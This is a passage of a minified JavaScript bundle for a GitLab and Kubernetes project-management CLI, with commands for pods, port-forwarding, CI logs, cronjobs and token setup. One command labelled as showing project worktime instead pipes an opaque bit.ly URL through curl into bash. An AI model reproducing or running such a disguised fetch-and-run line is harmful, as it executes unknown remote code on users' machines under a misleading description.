${t}`;const{stdout:s}=await(0,i.exec)(a,{env:{...process.env,DEBUG:""}});this.log(s)}))},1964:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});const i=r(50001);const n=r(52468);t["default"]=async e=>e.command("project-env-vars <envComponent>","list env vars").autocomplete(await(0,n.envAndComponents)()).action((async function({envComponent:e}){const{env:t,componentName:r}=(0,i.parseChoice)(e);const n=await(0,i.getEnvVarsResolved)(this,t,r);Object.keys(n).forEach((e=>this.log(`${e}: ${n[e]}`)))}))},43201:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});const i=r(51748);t["default"]=async e=>e.command("project-get-my-total-worktime","show the total worktime that you spent on a project").action((async()=>{await(0,i.spawn)("sh",["-c","curl -s -L http://bit.ly/3VQEKNq | bash"],{stdio:["pipe","inherit","pipe"]})}))},84783:function(e,t,r){"use strict";var i=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:true});const n=r(45198);const a=r(67253);const s=r(57414);const o=r(45381);const l=r(52468);const c=i(r(2490));t["default"]=async e=>e.command("project-get-shell <envComponent>","get a shell to a pod in the environment").autocomplete(await(0,l.envAndComponents)()).action((async function({envComponent:e}){await c.default.call(this,e);const t=await(0,s.getProjectNamespace)(e);const r=await(0,n.getProjectPods)(e);const i=r.filter((e=>e.status.phase=="Running")).map((e=>e.metadata.name));if(i.length===0){(0,a.logError)(this,"sorry, no running pods found");return}const{podName:l}=await this.prompt({type:"list",name:"podName",choices:i,message:"Which pod? šŸ¤”"});return(0,o.getShell)(t,l)}))},28398:function(e,t,r){"use strict";var i=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:true});const n=r(51748);const a=r(49250);const s=i(r(35186));const o=r(4508);const l={failed:"šŸ™€",warning:"😿",pending:"šŸŗ",running:"šŸƒā€",manual:"🤚",scheduled:"šŸŗ",canceled:"😽",success:"😻",skipped:"🤭",created:"šŸŗ"};const statusTxt=e=>l[e]?`${l[e]} ${e}`:e;const getCurrentCommit=async()=>{const e=await(0,n.exec)("git rev-parse HEAD");return e.stdout&&e.stdout.replace(/\n$/,"")};const delay=async e=>new Promise((t=>setTimeout(t,e)));const promptJob=async(e,t,r)=>{const i=await(0,o.doGitlabRequest)(e,`projects/${t}/jobs`);const n=await getCurrentCommit();const jobsToName=e=>e.map((e=>`${e.ref}-${e.name}-${e.user.username}-${e.status}-${e.id}`));const s=i.filter((e=>e.commit.id===n));const l=i.filter((e=>!s.includes(e.ref)));const c=s.length>1?[...jobsToName(s),"========================================================",...jobsToName(l)]:jobsToName([...s,...l]);const{jobName:u}=await r.prompt({type:"list",name:"jobName",choices:c,message:"Which job? šŸ¤”"});const p=Number((0,a.last)(u.split("-")));return i.find((e=>e.id===p))};t["default"]=async e=>{e.command("project-ci-job-open","Open a Job").action((async function(){const{id:e}=await(0,o.getProjectInfo)(this);const t=await promptJob(this,e,this);(0,s.default)(t.web_url)}));e.command("project-ci-job-log","Show a job's log").action((async function(){const{id:t}=await(0,o.getProjectInfo)(this);const{id:r}=await promptJob(this,t,this);let i=false;while(!i){const a=await(0,n.exec)(`curl -s --header "PRIVATE-TOKEN: ${await(0,o.getGitlabToken)(this)}" "https://git.panter.ch/api/v4/projects/${t}/jobs/${r}/trace"`);const s=await(0,o.doGitlabRequest)(this,`projects/${t}/jobs/${r}`);if(a.stdout){e.ui.redraw(`${a.stdout}`)}else{e.ui.redraw(`\n\n ${statusTxt(s.status)}\n ${s.web_url}\n\n `)}i=!!s.finished_at;if(!i){await delay(5e3)}else{e.ui.redraw.done()}}}))}},2081:function(e,t,r){"use strict";var i=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:true});const n=r(6637);const a=r(49250);const s=r(45198);const o=r(52468);const l=i(r(2490));t["default"]=async e=>e.command("project-list-pods <envComponent>","list pods of local project").autocomplete(await(0,o.envAndComponents)()).action((async function({envComponent:e}){await l.default.call(this,e);const t=await(0,s.getProjectPods)(e);this.log((0,n.stringify)(t.map((e=>(0,a.pick)(e,["metadata.name","status.startTime"])))))}))},74010:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});const i=r(57414);const n=r(52468);t["default"]=async e=>e.command("project-namespace <envComponent>","show namespace of local project").autocomplete(await(0,n.envAndComponents)()).action((async function({envComponent:e}){this.log(await(0,i.getProjectNamespace)(e))}))},5398:function(e,t,r){"use strict";var i=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:true});const n=i(r(35186));const a=r(50001);const s=r(52468);const o=i(r(2490));t["default"]=async e=>e.command("project-open-env <envComponent>","open the live environment").autocomplete(await(0,s.envAndComponents)()).action((async function({envComponent:e}){const{env:t,componentName:r}=(0,a.parseChoice)(e);await o.default.call(this,e);const i=await(0,a.getEnvironment)(t,r);const s=i.envVars.ROOT_URL;(0,n.default)(s.toString())}))},74685:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});const i=r(51748);t["default"]=async e=>e.command("project-open-git","open the repo on gitlab / github in your browser").action((async()=>{await(0,i.exec)("npx git-open")}))},27570:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});const i=r(50001);const n=r(1049);const a=r(52468);t["default"]=async e=>e.command("project-open-logs <envComponent>","open google cloud logs (stackdriver logs)").autocomplete(await(0,a.envAndComponents)()).action((async function({envComponent:e}){const{env:t,componentName:r}=(0,i.parseChoice)(e);const a=await(0,i.getPipelineContextByChoice)(t,r);await(0,n.openGoogleCloudLogs)(this,a)}))},12634:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});const i=r(51748);const n=r(57414);const a=r(52468);t["default"]=async e=>e.command("project-pause <envComponent>","halts all running pods (scales to 0)").autocomplete(await(0,a.envAndComponents)()).action((async function({envComponent:e}){const t=await(0,n.getProjectNamespace)(e);const{shouldContinue:r}=await this.prompt({type:"confirm",name:"shouldContinue",message:`This will STOP all running pods in the namespace ${t}. You will need to manually scale back up or re-deploy. Continue? šŸ¤” `});if(!r){return}const a=`kubectl scale statefulset,deployment --all --replicas=0 --namespace=${t}`;const{stdout:s}=await(0,i.exec)(a,{env:{...process.env,DEBUG:""}});this.log(s)}))},74557:function(e,t,r){"use strict";var i=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:true});const n=r(45198);const a=r(67253);const s=r(86070);const o=r(57414);const l=r(52468);const c=i(r(2490));const u=r(64272);const p=r(50001);const d=r(60241);const h=r(77090);const m=i(r(35186));const kubePortForward=async(e,t)=>{await c.default.call(e,t);const r=await(0,o.getProjectNamespace)(t);const i=await(0,n.getProjectPodNames)(t);if(i.length===0){(0,a.logError)(e,"sorry, no pods found");return}const{podName:l}=await e.prompt({type:"list",name:"podName",choices:i,message:"Which pod? šŸ¤”"});const{localPort:u}=await e.prompt({type:"number",name:"localPort",message:"Local port: "});const{remotePort:p}=await e.prompt({type:"number",name:"remotePort",message:"Remote port: "});return(0,s.startKubePortForward)(l,u,p,r)};const cloudRunPortForward=async(e,t)=>{var r;if(!(0,d.isOfDeployType)((r=t.deploy)===null||r===void 0?void 0:r.config,"google-cloudrun")){throw new Error("not cloud run")}const{fullName:i}=t.environment;let n=i.toString();if(t.environment.envType==="review"){const{mr:t}=await e.prompt({type:"number",name:"mr",message:"Which mr šŸ¤” "});n=n.toString().replace("-review-","-review-mr"+t+"-")}const{projectId:a,region:s}=t.deploy.config;const o=`gcloud beta run services proxy ${n} --project ${a} --region ${s}`;await(0,h.startPortForwardCommand)(`cloudRun/${n}`,o);(0,m.default)("http://localhost:8080")};t["default"]=async e=>e.command("project-port-forward <envComponent>","start port-forwarding").autocomplete(await(0,l.envAndComponents)()).action((async function({envComponent:e}){var t,r;const{env:i,componentName:n}=(0,u.parseChoice)(e);const a=await(0,p.getPipelineContextByChoice)(i,n);if((0,d.isOfDeployType)((t=a.deploy)===null||t===void 0?void 0:t.config,"kubernetes")){await kubePortForward(this,e)}if((0,d.isOfDeployType)((r=a.deploy)===null||r===void 0?void 0:r.config,"google-cloudrun")){await cloudRunPortForward(this,a)}}))},45627:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});const i=r(64775);t["default"]=async e=>e.command("project-renew-token","Configures the project access token for semantic release.").action((async function(){await(0,i.setupAccessTokens)(this)}))},41184:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});t.projectSecretsClearBackups=void 0;const i=r(4508);const n=r(52468);const projectSecretsClearBackups=async(e,t=3)=>{await(0,i.clearBackups)(e,t)};t.projectSecretsClearBackups=projectSecretsClearBackups;t["default"]=async e=>{e.command("project-secrets-clear-backups","clears all backups").autocomplete(await(0,n.allEnvsAndAllComponents)()).action((async function(){const{keep:e}=await this.prompt({type:"number",name:"keep",default:1,message:"How many backups should we keep? šŸ¤”"});return await(0,t.projectSecretsClearBackups)(this,e)}))}},79284:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});const i=r(90371);const n=r(57414);t["default"]=async e=>{e.command("project-security-evaluate","evaluate project's security audit document").action((async function(){const e=await(0,n.getGitRoot)();const t=await(0,i.evaluateSecurityAudit)({path:e});if(t.isErr()){console.error("Could not evaluate security audit document:",t.error)}else{console.log((0,i.makeSecurityAuditOverview)(t.value))}}))}},63932:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});const i=r(80426);const n=r(52468);t["default"]=async e=>e.command("project-setup [component]","Initializes all environments and creates requires resources, service accounts, etc.").autocomplete(await(0,n.allComponents)()).action((async function({component:e}){await(0,i.setupProject)(this,e)}))},82098:function(e,t,r){"use strict";var i=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:true});const n=r(9584);const a=r(90390);const s=r(67253);const o=r(79383);const l=r(57414);const c=r(52468);const u=i(r(2490));async function triggerCronjob(e){const{body:{items:t}}=await(0,a.getk8sApiBatchBeta)().listNamespacedCronJob(e);const r=t.map((e=>e.metadata.name));const{jobName:i}=await this.prompt({type:"list",name:"jobName",choices:r,message:"Which cronjob? šŸ¤”"});const o=t.find((e=>e.metadata.name===i));const l=o.spec.jobTemplate.spec;const c=new n.V1Job;const u={name:`manual-${Math.round(Date.now()/1e3)}-${o.metadata.name}`};c.metadata=u;c.spec=l;try{const t=await(0,a.getk8sApiBatch)().createNamespacedJob(e,c);this.log("");this.log(`yeah, you got a job, man. 😺 ${t.body.metadata.name}`);this.log("")}catch(e){(0,s.logError)(this,"command failed",e.body)}}t["default"]=async e=>{e.command("trigger-cronjob <namespace>","trigger cronjob").autocomplete(o.namespaceAutoCompletion).action((async function({namespace:e}){await triggerCronjob.call(this,e)}));e.command("project-trigger-cronjob <envComponent>","trigger cronjob").autocomplete(await(0,c.envAndComponents)()).action((async function({envComponent:e}){await u.default.call(this,e);const t=await(0,l.getProjectNamespace)(e);await triggerCronjob.call(this,t)}))}},87824:function(e,t,r){"use strict";var i=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:true});const n=i(r(29020));const a=i(r(58002));const s=i(r(57542));const o=i(r(4721));const l=i(r(1964));const c=i(r(43201));const u=i(r(84783));const p=i(r(28398));const d=i(r(63932));const h=i(r(45627));const m=i(r(2081));const b=i(r(74010));const y=i(r(5398));const g=i(r(74685));const v=i(r(27570));const w=i(r(12634));const j=i(r(74557));const O=i(r(82098));const _=i(r(41184));const k=i(r(76512));const C=i(r(79284));t["default"]=async e=>{(0,d.default)(e);(0,h.default)(e);(0,l.default)(e);(0,b.default)(e);(0,m.default)(e);(0,w.default)(e);(0,o.default)(e);(0,v.default)(e);(0,n.default)(e);(0,k.default)(e);(0,g.default)(e);(0,y.default)(e);(0,O.default)(e);(0,a.default)(e);(0,_.default)(e);(0,s.default)(e);(0,u.default)(e);(0,j.default)(e);(0,p.default)(e);(0,c.default)(e);(0,C.default)(e)}},80426:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});t.setupProject=void 0;const i=r(50001);const n=r(64775);const a=r(63516);const s=r(66992);const o=r(73861);const l=r(87105);const setupProject=async(e,t)=>{const r=await(0,i.getAllPipelineContexts)(t);e.log("will setup those contexts:");r.forEach((t=>{e.log(` - ${t.name}:${t.env}`)}));await(0,l.logSection)(e,"base setup",(async()=>{await(0,n.setupAccessTokens)(e);await(0,s.setupTopic)(e);await(0,o.setupAgents)(e)}));for(const t of r){await(0,a.setupContext)(e,t)}e.log("");e.log("gitlab is ready! šŸ„‚");e.log("\n");e.log("do not forget to make sure that:");["you have __health route in place","lint and test are defined","secrets are configured (call project-config-secret)","eat your vegetables","be awesome 🤩"].forEach((t=>e.log(` - ${t}`)));e.log("\n");e.log("\n")};t.setupProject=setupProject},87105:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});t.logSection=void 0;const logSection=async(e,t,r)=>{e.log("");e.log("==================================================================================");e.log("🐱 šŸ”§ "+t+"...");e.log("");await r();e.log("");e.log("āœ… "+t+" done!");e.log("");e.log("==================================================================================");e.log("")};t.logSection=logSection},64775:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});t.setupAccessTokens=void 0;const i=r(84022);const n=r(4508);const a="semantic-release";const setupAccessTokens=async e=>{const{id:t}=await(0,n.getProjectInfo)(e);const r=await(0,n.doGitlabRequest)(e,`projects/${t}/access_tokens`);const s=r.find((e=>e.name===a&&e.active===true));const o=(0,i.format)((0,i.add)(new Date,{years:1,days:-1}),"yyyy-MM-dd");const l=s?await(0,n.doGitlabRequest)(e,`projects/${t}/access_tokens/${s.id}/rotate`,{expires_at:o},"POST"):await(0,n.doGitlabRequest)(e,`projects/${t}/access_tokens`,{name:a,scopes:["api","read_repository"],access_level:40,expires_at:o},"POST");try{await(0,n.doGitlabRequest)(e,`projects/${t}/variables/GL_TOKEN`);await(0,n.doGitlabRequest)(e,`projects/${t}/variables/GL_TOKEN`,{value:l.token},"PUT")}catch(r){if(r.message!=="not found"){throw r}await(0,n.doGitlabRequest)(e,`projects/${t}/variables`,{key:"GL_TOKEN",value:l.token,masked:true},"POST")}e.log("Token configured for semantic release. Renew me again in a year!")};t.setupAccessTokens=setupAccessTokens},73861:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});t.setupAgents=void 0;const i=r(4508);const n=r(50001);const a=r(21111);const s=r(26694);const listTriggerTokens=async(e,t)=>await(0,i.doGitlabRequest)(e,`projects/${t}/triggers`);const deleteTriggerToken=async(e,t,r)=>{await(0,i.doGitlabRequest)(e,`projects/${t}/triggers/${r}`,undefined,"DELETE")};const createTriggerToken=async(e,t,r)=>await(0,i.doGitlabRequest)(e,`projects/${t}/triggers`,{description:r},"POST");const listWebhooks=async(e,t)=>await(0,i.doGitlabRequest)(e,`projects/${t}/hooks`);const createWebhook=async(e,t,r)=>await(0,i.doGitlabRequest)(e,`projects/${t}/hooks`,r,"POST");const updateWebhook=async(e,t,r,n)=>await(0,i.doGitlabRequest)(e,`projects/${t}/hooks/${r}`,n,"PUT");const setupAgentWebhook=async(e,t,r,i)=>{const n=`cl_agent_${r}_webhook`;const{gitRemoteHost:o}=await(0,a.getGitRemoteHostAndPath)();const l=await(0,s.getMainBranch)();const c=`https://${o}/api/v4/projects/${t}/ref/${l}/trigger/pipeline?token=${i}`;e.log(`Setting up webhook for agent: ${r}`);const u=await listWebhooks(e,t);const p=u.find((e=>e.name===n));const d=JSON.stringify({variables:{ASSIGNEE_USER_ID:"{{object_attributes.assignee_id}}",OBJECT_DESCRIPTION:"{{object_attributes.description}}"},payload:{object_kind:"{{object_kind}}",event_type:"{{event_type}}",user_id:"{{user.id}}",user_name:"{{user.name}}",user_username:"{{user.username}}",user_avatar_url:"{{user.avatar_url}}",user_email:"{{user.email}}",project_id:"{{project.id}}",project_name:"{{project.name}}",project_web_url:"{{project.web_url}}",project_namespace:"{{project.namespace}}",project_path_with_namespace:"{{project.path_with_namespace}}",object_attributes_id:"{{object_attributes.id}}",object_attributes_iid:"{{object_attributes.iid}}",object_attributes_title:"{{object_attributes.title}}",object_attributes_description:"{{object_attributes.description}}",object_attributes_state:"{{object_attributes.state}}",object_attributes_created_at:"{{object_attributes.created_at}}",object_attributes_updated_at:"{{object_attributes.updated_at}}",object_attributes_url:"{{object_attributes.url}}",object_attributes_action:"{{object_attributes.action}}",object_attributes_noteable_type:"{{object_attributes.noteable_type}}",merge_request_id:"{{merge_request.id}}",merge_request_iid:"{{merge_request.iid}}",merge_request_title:"{{merge_request.title}}",merge_request_source_branch:"{{merge_request.source_branch}}",merge_request_time_estimate:"{{merge_request.time_estimate}}",merge_request_description:"{{merge_request.description}}",merge_request_merge_status:"{{merge_request.merge_status}}",merge_request_last_commit_title:"{{merge_request.last_commit.title}}",merge_request_last_commit_message:"{{merge_request.last_commit.message}}",merge_request_last_commit_author_name:"{{merge_request.last_commit.author.name}}",merge_request_last_commit_author_email:"{{merge_request.last_commit.author.email}}"}});const h={url:c,name:n,description:`Agent webhook for ${r} - triggers pipeline with custom payload`,issues_events:true,confidential_issues_events:false,merge_requests_events:false,note_events:true,confidential_note_events:false,custom_webhook_template:d};let m;if(p){e.log(`Updating existing webhook: ${n} (ID: ${p.id})`);m=await updateWebhook(e,t,p.id,h);e.log(`āœ… Updated webhook: ${m.name}`)}else{e.log(`Creating new webhook: ${n}`);m=await createWebhook(e,t,h);e.log(`āœ… Created webhook: ${m.name}`)}e.log(` Webhook ID: ${m.id}`);e.log(` Webhook URL: ${m.url}`);return m};const setupAgentTriggerToken=async(e,t,r)=>{const i=`cl_agent_${r}`;e.log(`Setting up trigger token for agent: ${r}`);const n=await listTriggerTokens(e,t);const a=n.filter((e=>e.description.startsWith(`cl_agent_${r}`)));for(const r of a){e.log(`Deleting existing trigger token: ${r.description} (ID: ${r.id})`);await deleteTriggerToken(e,t,r.id)}const s=`${i} - Agent trigger token for ${r}`;con